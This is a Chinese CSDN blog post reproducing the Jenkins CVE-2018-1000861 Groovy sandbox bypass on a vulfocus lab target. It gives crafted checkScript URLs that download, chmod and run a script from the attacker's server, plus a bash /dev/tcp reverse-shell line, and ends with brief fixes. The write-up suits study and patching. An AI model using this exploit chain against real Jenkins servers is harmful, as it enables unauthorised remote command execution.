[漏洞复现]vulfocus/jenkins-cve_2018_1000861-命令执行

本文详细介绍了Jenkins的一个安全漏洞,该漏洞允许攻击者通过构造特殊URL执行任意命令,影响版本为Jenkins 2.138。攻击者首先下载恶意脚本,然后赋予执行权限,最终执行命令。修复措施包括设置强口令、限制公网访问和升级到最新版本。
摘要由CSDN通过智能技术生成

一、简介

Jenkins 是常见的CI/CD服务器, 最常见的就是爆破弱口令然后使用groovy执行命令

Jenkins使用Stapler框架开发,其允许用户通过URL PATH来调用一次public方法。由于这个过程没有做限制,攻击者可以构造一些特殊的PATH来执行一些敏感的Java方法。
通过这个漏洞,我们可以找到很多可供利用的利用链。其中最严重的就是绕过Groovy沙盒导致未授权用户可执行任意命令:Jenkins在沙盒中执行Groovy前会先检查脚本是否有错误,检查操作是没有沙盒的,攻击者可以通过Meta-Programming的方式,在检查这个步骤时执行任意命令

二、影响版本

Jenkins 2.138

三、漏洞复现

先在自己的服务器上创建一个文件,内容为

bash -i >& /dev/tcp/ip/port 0>&1

然后打开下面的url

http://123.58.224.8:17513/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public class x {public x(){"curl+-o+/tmp/1.sh+http://自己服务器ip/1.txt".execute()}}

给下载的文件执行权限

http://123.58.224.8:17513/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public class x {public x(){"chmod+777+/tmp/1.sh".execute()}}

在自己的服务器上监听端口,然后执行下面的命令

http://123.58.224.8:17513/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public class x {public x(){"bash+/tmp/1.sh".execute()}}

在这里插入图片描述

四、修复

1.设置强口令

2.尽量不要开放到公网

3.限制来源IP

4.升级到最新版

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值